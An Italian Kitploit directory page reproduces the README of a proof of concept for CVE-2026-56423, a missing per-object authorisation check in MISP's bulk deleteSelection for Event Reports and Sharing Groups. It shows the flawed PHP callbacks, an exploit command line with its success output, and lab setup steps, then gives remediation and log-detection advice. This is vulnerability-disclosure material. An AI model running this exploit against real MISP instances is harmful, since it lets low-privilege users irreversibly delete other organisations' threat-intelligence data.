Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — PoC per CVE-2026-56423: controllo degli accessi compromesso in deleteSelection di MISP (CWE-862, un contributore cancella definitivamente i Report di Eventi/Gruppi di Condivisione di altre organizzazioni, CVSS 8.8) | Kitploit
Strumenti/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingThreat IntelligenceConfigurazione Errata
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

PoC per CVE-2026-56423: controllo degli accessi compromesso in deleteSelection di MISP (CWE-862, un contributore cancella definitivamente i Report di Eventi/Gruppi di Condivisione di altre organizzazioni, CVSS 8.8)

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-56423 — Controllo di accesso compromesso deleteSelection in MISP

Proof of concept per una falla di autorizzazione mancante nei flussi di eliminazione bulk di MISP per Event Reports e Sharing Groups. I gestori deleteSelection autorizzano ogni elemento selezionato con un callback che ignora l'elemento e restituisce il permesso di ruolo globale del chiamante (perm_add / perm_sharing_group) invece di un controllo di proprietà per oggetto. Un contributore a bassi privilegi (il ruolo predefinito "User") può quindi inviare ID/UUID di report appartenenti a qualsiasi organizzazione e eliminarli definitivamente a livello di istanza, anche se l'azione delete per oggetto correttamente protetta nega la stessa richiesta.

CVECVE-2026-56423
ProdottoMISP (Malware Information Sharing Platform) core
Versione affettaMISP CE/EE ≤ 2.5.41
Corretta in2.5.42
ClasseCWE-862 — Autorizzazione mancante (controllo di accesso a livello di oggetto compromesso)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
AutenticazioneAutenticato, bassi privilegi (qualsiasi ruolo con perm_add, ad es. "User")
Pubblicata2026-06-22
StatoCONFERMATO — un contributore elimina il report di un'altra org su 2.5.40; negato su 2.5.42

Root cause

app/Controller/EventReportsController.php (tag v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignora $itemId → booleano ruolo globale
        },
    ]);
}

CRUDComponent::deleteSelection chiama questo checkModifyCallback per ogni id selezionato ed elimina l'oggetto ogni volta che restituisce true:

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

Poiché il callback restituisce $this->userRole['perm_add'] — un booleano globale che è true per il ruolo predefinito "User" — la proprietà del report di destinazione non viene mai controllata. A differenza dell'azione delete($id) per oggetto singolo, che chiama correttamente EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') e nega i report esterni.

SharingGroupsController::deleteSelection ha lo stesso difetto usando perm_sharing_group.

La correzione in 2.5.42 (commit ada02fa, f99b3f1) sostituisce il callback con un EventReport::fetchIfAuthorized($user, $itemId, 'delete') per elemento.

Vedere ANALYSIS.md per la procedura completa.

Precondizioni (documentate onestamente)

  1. L'attaccante possiede un account il cui ruolo ha perm_add — il ruolo predefinito User, concesso ai contributori ordinari in istanze multi-organizzazione.
  2. MISP.enable_themes = true. L'azione deleteSelection è limitata nell'ACL da AND(theming_enabled, perm_add), dove theming_enabled corrisponde all'impostazione MISP.enable_themes. Questa impostazione è disattivata per impostazione predefinita ma è un flag di funzionalità UI normale abilitato su molte istanze (alimenta l'interfaccia v2 index/list). Se disabilitata, l'azione restituisce HTTP 403 prima che venga eseguito il callback difettoso.

Exploit

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

Riproduci

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

Confine VULN/CORRETTO (empirico)

Richiesta (contributore a bassi privilegi, report esterno)v2.5.40v2.5.42
delete/{id} correttamente protetto404 negato404 negato
deleteSelection dello stesso report200 — eliminato definitivamente403 — "Impossibile eliminare"; report intatto

La stessa richiesta passa da successo a negazione attraverso la correzione, e l'delete per oggetto correttamente protetto è negato in entrambi — dimostrando che il bug è l'autorizzazione per oggetto mancante in deleteSelection, non un account mal configurato. Trascrizione completa in EVIDENCE.txt.

Impatto

Qualsiasi utente a bassi privilegi su un'istanza MISP condivisa può eliminare irrevocabilmente Event Reports — narrazioni analitiche allegate agli eventi di threat-intel — e Sharing Groups appartenenti ad altre organizzazioni, a livello di istanza. Questo è un compromesso di integrità/disponibilità cross-tenant di una piattaforma di threat-intelligence su cui fanno affidamento CERT, ISAC e SOC.

Remediation

  • Aggiornare MISP alla versione 2.5.42 o successiva.
  • La correzione impone EventReport::fetchIfAuthorized($user, $itemId, 'delete') per ogni elemento selezionato; lo stesso schema viene applicato a Sharing Groups.

Rilevamento

Controllare i log di MISP per richieste EventReports/deleteSelection (e SharingGroups/deleteSelection) in cui l'organizzazione dell'utente agente differisce dall'organizzazione proprietaria dell'oggetto eliminato.

Crediti

Ricerca e PoC di Caio Fabrício (@BiiTts).

Licenza

MIT — vedere LICENSE.

Scarica lo strumento